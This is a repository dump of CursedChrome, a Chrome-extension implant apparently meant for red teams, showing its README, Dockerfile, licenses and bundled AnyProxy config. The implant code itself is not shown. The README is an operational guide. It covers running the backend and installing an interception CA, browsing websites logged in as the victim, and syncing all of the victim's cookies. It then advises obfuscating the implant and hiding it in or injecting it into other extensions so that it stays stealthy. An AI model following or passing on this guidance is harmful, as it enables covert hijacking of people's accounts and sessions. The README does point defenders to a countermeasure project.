├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── SECURITY.md ├── anyproxy ├── .babelrc ├── .eslintignore ├── .eslintrc ├── CHANGELOG ├── LICENSE ├── README.md ├── bin │ ├── anyproxy │ ├── anyproxy-ca │ ├── rootCACheck.js │ └── startServer.js ├── lib │ ├── certMgr.js │ ├── configUtil.js │ ├── httpsServerMgr.js │ ├── log.js │ ├── node-easy-cert │ │ ├── certGenerator.js │ │ ├── errorConstants.js │ │ ├── index.js │ │ ├── util.js │ │ └── winCertUtil.js │ ├── recorder.js │ ├── requestErrorHandler.js │ ├── requestHandler.js │ ├── ruleLoader.js │ ├── rule_default.js │ ├── systemProxyMgr.js │ ├── util.js │ ├── webInterface.js │ ├── wsServer.js │ └── wsServerMgr.js ├── module_sample │ ├── core_reload.js │ ├── https_config.js │ ├── normal_use.js │ └── simple_use.js ├── package.json ├── proxy.js ├── resource │ ├── 502.pug │ ├── cert_download.pug │ └── cert_error.pug └── test.js ├── api-server.js ├── cookie-sync-extension ├── icons │ ├── icon128.png │ ├── icon16.png │ └── icon48.png ├── manifest.json └── src │ └── browser_action │ ├── bootstrap.bundle.min.js │ ├── bootstrap.min.css │ ├── browser_action.html │ ├── css │ ├── all.css │ ├── all.min.css │ ├── brands.css │ ├── brands.min.css │ ├── fontawesome.css │ ├── fontawesome.min.css │ ├── regular.css │ ├── regular.min.css │ ├── solid.css │ ├── solid.min.css │ ├── svg-with-js.css │ ├── svg-with-js.min.css │ ├── v4-shims.css │ └── v4-shims.min.css │ ├── jquery-3.5.1.min.js │ ├── main.js │ ├── popper.min.js │ ├── toastr.css │ ├── toastr.min.js │ ├── vue.js │ └── webfonts │ ├── fa-brands-400.eot │ ├── fa-brands-400.svg │ ├── fa-brands-400.ttf │ ├── fa-brands-400.woff │ ├── fa-brands-400.woff2 │ ├── fa-regular-400.eot │ ├── fa-regular-400.svg │ ├── fa-regular-400.ttf │ ├── fa-regular-400.woff │ ├── fa-regular-400.woff2 │ ├── fa-solid-900.eot │ ├── fa-solid-900.svg │ ├── fa-solid-900.ttf │ ├── fa-solid-900.woff │ └── fa-solid-900.woff2 ├── database.js ├── docker-compose.yaml ├── docker-entrypoint.sh ├── extension ├── _locales │ └── en │ │ └── messages.json ├── icons │ ├── icon128.png │ ├── icon16.png │ └── icon48.png ├── manifest.json ├── redirect-hack.html └── src │ └── bg │ └── background.js ├── gui ├── .gitignore ├── README.md ├── babel.config.js ├── package-lock.json ├── package.json ├── public │ ├── favicon.ico │ ├── img │ │ └── background.png │ ├── index.html │ └── js │ │ └── clipboard.min.js └── src │ ├── App.vue │ ├── assets │ └── logo.png │ ├── components │ └── Main.vue │ └── main.js ├── images ├── browsing-as-victim-browser.png ├── cursed-chrome-web-panel.png ├── cursedchrome-diagram.png ├── doll.svg ├── icon.png └── sync-cookie-extension.png ├── package-lock.json ├── package.json ├── server.js ├── ssl └── .blank └── utils.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/* 2 | .DS_Store 3 | *.key 4 | *.crt 5 | *.env 6 | dev.sh -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:12.16.2-stretch 2 | 3 | RUN mkdir /work/ 4 | WORKDIR /work/ 5 | COPY package.json /work/ 6 | COPY package-lock.json /work/ 7 | RUN npm install 8 | 9 | COPY ./anyproxy /work/anyproxy/ 10 | RUN /work/anyproxy/bin/anyproxy-ca --generate 11 | RUN mkdir /work/ssl/ 12 | RUN cp /root/.anyproxy/certificates/rootCA.crt /work/ssl/ 13 | RUN cp /root/.anyproxy/certificates/rootCA.key /work/ssl/ 14 | 15 | # Copy over and build front-end 16 | COPY gui /work/gui 17 | WORKDIR /work/gui 18 | RUN npm install 19 | RUN npm run build 20 | 21 | WORKDIR /work/ 22 | 23 | COPY utils.js /work/ 24 | COPY api-server.js /work/ 25 | COPY server.js /work/ 26 | COPY database.js /work/ 27 | COPY docker-entrypoint.sh /work/ 28 | 29 | # For debugging/hot-reloading 30 | #RUN npm install -g nodemon 31 | 32 | ENTRYPOINT ["/work/docker-entrypoint.sh"] 33 | #ENTRYPOINT ["node", "/work/server.js"] 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Matthew Bryant 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CursedChrome 2 | ## *Now with (beta) Manifest V3 support!* 3 | 4 |

5 | 6 |

7 | 8 | ### NOTICE 9 | 10 | I thought this was clearly-implied, and that these disclaimers were redundant at this point, but: 11 | 12 | > This is a tool written for *professional red teams*. It helps simulate an often unpracticed attack scenario involving malicious browser extensions. If you're planning on using this to maliciously spy on your friend/girlfriend/victims, let me know your address and intent and I'll gladly forward your message to your local LEO for your convenience. 13 | 14 | For the [many](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rilide-a-new-malicious-browser-extension-for-stealing-cryptocurrencies/) Russian [ecrime](https://www.justice.gov/opa/pr/criminal-marketplace-disrupted-international-cyber-operation) groups that forked this project for their botnet, see the following disclaimer instead: 15 | 16 | > Разве ты не должен быть на передовой, товарищ? Тебя ждет беспилотник. 17 | 18 | ### Blue Teams/Defenders/CorpSec 19 | If you're on the blue team and wondering about ways to defend against this, take a look at my [ChromeGalvanizer project](https://github.com/mandatoryprogrammer/ChromeGalvanizer), which generates easy-to-install Chrome enterprise policies to defend against attacks like this. An easy-to-use hosted version is available [here](https://thehackerblog.com/galvanizer/). 20 | 21 | 22 | # What is it? 23 | A ([cursed](https://knowyourmeme.com/memes/cursed-image)) Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies. By using the proxies this tool creates you can browse the web authenticated as your victim for all of their websites. 24 | 25 | # Why make it? 26 | 27 | More and more companies are moving toward the ["BeyondCorp"](https://en.wikipedia.org/wiki/BeyondCorp) model (e.g. no flat internal network, zero trust everything). This is usually implemented via a [reverse proxy/OAuth wall](https://github.com/bitly/oauth2_proxy) gating access to services, eliminating the need for a VPN. As access and tooling move towards being strictly available via the web browser, having a way to easily hijack and use victim's web sessions becomes an ever increasing necessity. 28 | 29 | This is also especially useful for locked down orgs that make use of [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) where traditional malware can't be used at all. It's also steathy, as all requests will have the appropriate source-IP, cookies, client-certificates, etc since it's being proxying directly through the victim's browser. 30 | 31 | # Screenshots 32 | 33 | ## Web Admin Panel 34 | ![](./images/cursed-chrome-web-panel.png) 35 | 36 | ## Browsing Websites Logged In as Victim (using Firefox with HTTP Proxy) 37 | ![](./images/browsing-as-victim-browser.png) 38 | 39 | # (Rough) Infrastructure Diagram (`docker-compose` Used) 40 | 41 | ![](./images/cursedchrome-diagram.png) 42 | 43 | # Ports & Listening Interfaces 44 | 45 | - `127.0.0.1:8080`: HTTP proxy server (using one of the credentials in the admin panel, you can auth to a specific victim's Chrome browser via this HTTP proxy server). You also need to install the generated CA available via the admin panel before using this. 46 | - `127.0.0.1:4343`: Websocket server, used for communicating with victim Chrome instances to transfer HTTP requests for proxying and sending commands. 47 | - `127.0.0.1:8118`: Admin web panel for viewing victim Chrome instances and getting HTTP proxy credentials. 48 | 49 | **IMPORTANT**: If you are proxying through CursedChrome using **Firefox** please use [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/). The built-in proxy support for Firefox has bugs in its implementation of authenticated HTTP proxies which will drive you to madness. 50 | 51 | # Requirements 52 | 53 | * [`docker`](https://docs.docker.com/get-docker/) and [`docker-compose`](https://docs.docker.com/compose/install/) 54 | * Chrome web browser 55 | 56 | # Installation & Setup (~5-10 Minutes) 57 | 58 | ## Step-By-Step Video Tutorial 59 | 60 | If you're looking for an easy video walkthrough on setting up CursedChrome [check out this video](https://www.youtube.com/watch?v=cdSXdwa5trc) created by [@TurvSec](https://twitter.com/TurvSec). 61 | 62 | If you'd prefer just reading the installation instructions, continue on. 63 | 64 | ## Setting Up the Backend 65 | 66 | The backend is entirely dockerized and can be setup by running the following commands: 67 | 68 | ``` 69 | cd cursedchrome/ 70 | # Start up redis and Postgres containers in the background 71 | docker-compose up -d redis db 72 | # Start the CursedChrome backend 73 | docker-compose up cursedchrome 74 | ``` 75 | 76 | Once you start up the backend you'll see an admin username and password printed to the console. You can log into the admin panel at `http://localhost:8118` using these credentials (you will be prompted to change your password upon logging in since the one printed to the console is likely logged). 77 | 78 | ## Installing the CursedChrome CA for Proxying HTTPS 79 | 80 | Once you have the backend setup, log in to the admin panel at `http://localhost:8118` (see above) and click the `Download HTTPS Proxy CA Certificate` button. This will download the generated CA file which is required in order to proxy HTTPS requests. 81 | 82 | You will need to install this CA into your root store, the following are instructions for various OS/browsers: 83 | 84 | * [OS X/Mac](https://www.sslsupportdesk.com/how-to-import-a-certificate-into-mac-os/) 85 | * [Windows](https://www.sslsupportdesk.com/how-to-enable-or-disable-all-puposes-of-root-certificates-in-mmc/) 86 | * [Linux](https://thomas-leister.de/en/how-to-import-ca-root-certificate/) 87 | * [Firefox (any OS)](https://support.securly.com/hc/en-us/articles/360008547993-How-to-Install-Securly-s-SSL-Certificate-in-Firefox-on-Windows) 88 | 89 | **IMPORTANT**: If you are proxying through CursedChrome using **Firefox** please use [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/). The built-in proxy support for Firefox has bugs in its implementation of authenticated HTTP proxies which will drive you to madness. 90 | 91 | ## Setting Up the Example Chrome Extension Implant 92 | 93 | To install the example chrome extension implant, do the following: 94 | 95 | * Open up a Chrome web browser and navigate to `chrome://extensions`. 96 | * Click the toggle in the top-right corner of the page labeled `Developer mode` to enable it. 97 | * Click the `Load unpacked` button in the top-left corner of the page. 98 | * Open the `extension/` folder inside of this repo folder. 99 | * Once you've done so, the extension will be installed. 100 | 101 | *Note:* You can debug the implant by clicking on the `background page` link for the text `Inspect views background page` under the `CursedChrome Implant` extension. 102 | 103 | After you've install the extension it will show up on the admin control panel at `http://localhost:8118`. 104 | 105 | ## *Required for some sites*: Sync Cookies from Remote Victim 106 | 107 | Some sites* require client-side (e.g. JavaScript utilized) cookies, for these sites you'll need to have the `cookies` permission in your implant's `manifest.json` in addition to the other required permissions. 108 | 109 | If you have this permission declared, you can then use the Firefox/Chrome extension found in the `cookie-sync-extension/` folder. Load it into your web browser, enter the web panel URL (usually `http://localhost:8118`) and your bot's username/password and click the `Sync Remote Implant Cookies` to load all of your victim's cookies locally. 110 | 111 | **NOTE:** For Firefox you will need to load the `manifest.json` file as a [temporary add on](https://blog.mozilla.org/addons/2015/12/23/loading-temporary-add-ons/). 112 | 113 | *How magical!* 114 | 115 | *Google Cloud Console is one of these sites - why Google? Why?* 116 | 117 | ![](./images/sync-cookie-extension.png) 118 | 119 | # Production/Operational Usage 120 | 121 | ## Modifying Implant Extension 122 | 123 | An example implant extension has been included under the `extension/` folder. This extension has the `extension/src/bg/background.js` file which has the extension-side of the implant that connects to the service via WebSocket to proxy requests through the victim's web browser. 124 | 125 | The following [extension permissions](https://developer.chrome.com/extensions/api_index) are needed by the implant to operate: 126 | 127 | ``` 128 | "permissions": [ 129 | "webRequest", 130 | "webRequestBlocking", 131 | "" 132 | ] 133 | ``` 134 | 135 | If you want to utilize the Cookie Sync extension to sync the remote browser's cookies with your own (required for some sites), ensure the permission `cookies` is also declared. 136 | 137 | This code contains comments on how to modify it for a production setup. Basically doing the following: 138 | 139 | * Minifying/stripping/uglifying the JavaScript code 140 | * Modifying the WebSocket connection URI in the `initialize()` function to point to the host you've set up the backend on. By default it's set to `ws://localhost:4343` which will work with the out-of-the-box dev setup described in this README. 141 | * If you are using this in an attack scnario, you will also need to find where `redirect-hack.html` is referenced in `background.js` and replace instances with *an HTML file which already exists in the extension you're overriding*. Viewing the extension's source should make this easy. 142 | 143 | In a real world attack, this extension code would be used in one of the following ways: 144 | 145 | * Injected into an existing extension with proper permissions via Chrome debugging protocol. 146 | * Hidden inside of another extension 147 | * Force-installed via Chrome enterprise policy 148 | 149 | These topics are outside of the scope of this README, but eventually will be covered separately. 150 | 151 | ## Further Notes on Production Deployments 152 | 153 | * You will likely want to run an Nginx server with a valid HTTPS certificate doing a `proxy_pass` to the WebSocket server (running on `127.0.0.1:4343`). Then you'll have TLS-encrypted websocket traffic. If you go this route, you'll want to update your Websocket address from `ws://` -> `wss://`. 154 | * For a more secure setup, don't expose the HTTP proxy & and admin panel to the Internet directly. Opt for SSL port-forwarding or using a bastion server to connect to it. 155 | * For situations with a large number of victims/bots/implants running, you can horizontally scale out the CursedChrome server as wide as you need to. The socket handling is completely decoupled via `redis`, so it can suppose (theoretically) tens of thousands of concurrent clients. 156 | 157 | ## Attributions 158 | 159 | * The [AnyProxy source code](https://github.com/alibaba/anyproxy) was heavily modified and used for part of this project. 160 | * The icon for this project was designed by [`monochromeye`](https://www.fiverr.com/monochromeye) on Fiverr (paid), if you're looking for graphic design work check her services out. 161 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Reporting a Vulnerability 4 | 5 | For security vulnerabilities please report them to mandatory (at) gmail (.) com. I'll try to fix issues as soon as possible (although keep in mind, this is a side-project and there are only so many hours in a day so bare with me). 6 | -------------------------------------------------------------------------------- /anyproxy/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": [ 3 | "es2015", 4 | "stage-0" 5 | ] 6 | } -------------------------------------------------------------------------------- /anyproxy/.eslintignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | dist 3 | web 4 | web2 5 | resource 6 | *.sh 7 | docs -------------------------------------------------------------------------------- /anyproxy/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "airbnb", 3 | "parser": "babel-eslint", 4 | "env": { 5 | "browser": true, 6 | "node": true, 7 | "es6": true, 8 | "jasmine": true 9 | }, 10 | "globals": { 11 | "React": true, 12 | "ReactDOM": true, 13 | "Zepto": true, 14 | "JsBridgeUtil": true 15 | }, 16 | "rules": { 17 | "semi": [0], 18 | "comma-dangle": [0], 19 | "global-require": [0], 20 | "no-alert": [0], 21 | "no-console": [0], 22 | "no-param-reassign": [0], 23 | "max-len": [0], 24 | "func-names": [0], 25 | "no-underscore-dangle": [0], 26 | "no-unused-vars": ["error", { "vars": "all", "args": "none", "ignoreRestSiblings": false }], 27 | "object-shorthand": [0], 28 | "arrow-body-style": [0], 29 | "no-new": [0], 30 | "strict": [0], 31 | "no-script-url": [0], 32 | "spaced-comment": [0], 33 | "no-empty": [0], 34 | "no-constant-condition": [0], 35 | "no-else-return": [0], 36 | "no-use-before-define": [0], 37 | "no-unused-expressions": [0], 38 | "no-class-assign": [0], 39 | "new-cap": [0], 40 | "array-callback-return": [0], 41 | "prefer-template": [0], 42 | "no-restricted-syntax": [0], 43 | "no-trailing-spaces": [0], 44 | "import/no-unresolved": [0], 45 | "jsx-a11y/img-has-alt": [0], 46 | "camelcase": [0], 47 | "consistent-return": [0], 48 | "guard-for-in": [0], 49 | "one-var": [0], 50 | "react/wrap-multilines": [0], 51 | "react/no-multi-comp": [0], 52 | "react/jsx-no-bind": [0], 53 | "react/prop-types": [0], 54 | "react/prefer-stateless-function": [0], 55 | "react/jsx-first-prop-new-line": [0], 56 | "react/sort-comp": [0], 57 | "import/no-extraneous-dependencies": [0], 58 | "import/extensions": [0], 59 | "react/forbid-prop-types": [0], 60 | "react/require-default-props": [0], 61 | "class-methods-use-this": [0], 62 | "jsx-a11y/no-static-element-interactions": [0], 63 | "react/no-did-mount-set-state": [0], 64 | "jsx-a11y/alt-text": [0], 65 | "import/no-dynamic-require": [0], 66 | "no-extra-boolean-cast": [0], 67 | "no-lonely-if": [0], 68 | "no-plusplus": [0], 69 | "generator-star-spacing": ["error", {"before": true, "after": false}], 70 | "require-yield": [0], 71 | "arrow-parens": [0], 72 | "no-template-curly-in-string": [0], 73 | "no-mixed-operators": [0] 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /anyproxy/CHANGELOG: -------------------------------------------------------------------------------- 1 | 22 Dec 2016: AnyProxy 4.0.0-beta: 2 | 3 | * to AnyProxy rules: all the rule interfaces are asynchronous now, you can write them in a Promise way 4 | * to the UI, rewrite the code and enhance the user experience 5 | 6 | 26 Feb 2016: AnyProxy 3.10.4: 7 | 8 | * let users assign the port for web socket in AnyProxy cli 9 | 10 | 19 Sep 2016: AnyProxy 3.10.3: 11 | 12 | * fix the cert path issue with Windows 13 | * split out the cert management to an independent module 14 | * add unit tests to AnyProxy 15 | 16 | 29 Apr 2016: AnyProxy 3.10.0: 17 | 18 | * using node-forge to generate HTTPS certificates instead of openssl 19 | 20 | 29 Apr 2016: AnyProxy 3.9.1: 21 | 22 | * update SHA1 to SHA256 for openssl certificates 23 | 24 | 19 Nov 2015: AnyProxy 3.8.1: 25 | 26 | * bugfix for image content in web GUI 27 | 28 | 19 Nov 2015: AnyProxy 3.8.1: 29 | 30 | * bugfix for image content in web GUI 31 | 32 | 16 Nov 2015: AnyProxy 3.8.0: 33 | 34 | * optimize the memory strategy 35 | 36 | 2 Oct 2015: AnyProxy 3.7.7: 37 | 38 | * bugfix for proxy.close() ref #36 39 | 40 | 9 Sep 2015: AnyProxy 3.7.6: 41 | 42 | * optimize detail panel, ref #35 43 | 44 | 3 Sep 2015: AnyProxy 3.7.5: 45 | 46 | * bugfix for intercepting urls like http://a.com?url=http://b.com 47 | 48 | 19 Aug 2015: AnyProxy 3.7.4: 49 | 50 | * bugfix for intercepting urls like http://a.com?url=http://b.com 51 | 52 | 31 July 2015: AnyProxy 3.7.3: 53 | 54 | * show lastest 100 records when visit the web ui 55 | * save map-local config file to local file 56 | * show an indicator when filter or map-local is in use 57 | 58 | 31 July 2015: AnyProxy 3.7.2: 59 | 60 | * bugfix for issue #29 61 | 62 | 28 July 2015: AnyProxy 3.7.1: 63 | 64 | * fix a bug about deflate compression 65 | 66 | 20 July 2015: AnyProxy 3.7.0: 67 | 68 | * add a map-local panel on web ui, now you can easily map some request to your local files 69 | 70 | 1 July 2015: AnyProxy 3.6.0: 71 | 72 | * add a filter on web ui 73 | 74 | 1 July 2015: AnyProxy 3.5.2: 75 | 76 | * optimize the row height on web ui 77 | 78 | 18 June 2015: AnyProxy 3.5.1: 79 | 80 | * print a hint when using SNI features in node <0.12 81 | * Ref : https://github.com/alibaba/anyproxy/issues/25 82 | 83 | 18 June 2015: AnyProxy 3.5.0: 84 | 85 | * it's a formal release of 3.4.0@beta. 86 | 87 | 27 Apr 2015: AnyProxy 3.4.0@beta: 88 | 89 | * optimize web server and web socket interface 90 | 91 | 20 Apr 2015: AnyProxy 3.3.1: 92 | 93 | * now you can assign your own port for web gui 94 | 95 | 31 Mar 2015: AnyProxy 3.3.0: 96 | 97 | * optimize https features in windows 98 | * add switch to mute the console 99 | 100 | 20 Mar 2015: AnyProxy 3.2.5: 101 | 102 | * bugfix for internal https server 103 | 104 | 19 Mar 2015: AnyProxy 3.2.4: 105 | 106 | * bugfix for absolute rule path 107 | 108 | 23 Feb 2015: AnyProxy 3.2.2: 109 | 110 | * [bugfix for relative rule path](https://github.com/alibaba/anyproxy/pull/18) 111 | 112 | 10 Feb 2015: AnyProxy 3.2.1: 113 | 114 | * bugfix for 3.2.0 115 | 116 | 10 Feb 2015: AnyProxy 3.2.0: 117 | 118 | * using SNI when intercepting https requests 119 | 120 | 28 Jan 2015: AnyProxy 3.1.2: 121 | 122 | * thanks to iconv-lite, almost webpage with any charset can be correctly decoded in web interface. 123 | 124 | 28 Jan 2015: AnyProxy 3.1.1: 125 | 126 | * convert GBK to UTF8 in web interface 127 | 128 | 22 Jan 2015: AnyProxy 3.1.0: 129 | 130 | * will NOT intercept https request by default. Use ``anyproxy --intercept`` to turn on this feature. 131 | 132 | 12 Jan 2015: AnyProxy 3.0.4: 133 | 134 | * show anyproxy version by --version 135 | 136 | 12 Jan 2015: AnyProxy 3.0.3: 137 | 138 | * Bugfix: https throttle 139 | 140 | 9 Jan 2015: AnyProxy 3.0.2: 141 | 142 | * UI improvement: add link and qr code to root CA file. 143 | -------------------------------------------------------------------------------- /anyproxy/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. -------------------------------------------------------------------------------- /anyproxy/README.md: -------------------------------------------------------------------------------- 1 | AnyProxy 2 | ---------------- 3 | 4 | [![NPM version][npm-image]][npm-url] 5 | [![node version][node-image]][node-url] 6 | [![npm download][download-image]][download-url] 7 | 8 | [npm-image]: https://img.shields.io/npm/v/anyproxy.svg?style=flat-square 9 | [npm-url]: https://npmjs.org/package/anyproxy 10 | [node-image]: https://img.shields.io/badge/node.js-%3E=_6.0.0-green.svg?style=flat-square 11 | [node-url]: http://nodejs.org/download/ 12 | [download-image]: 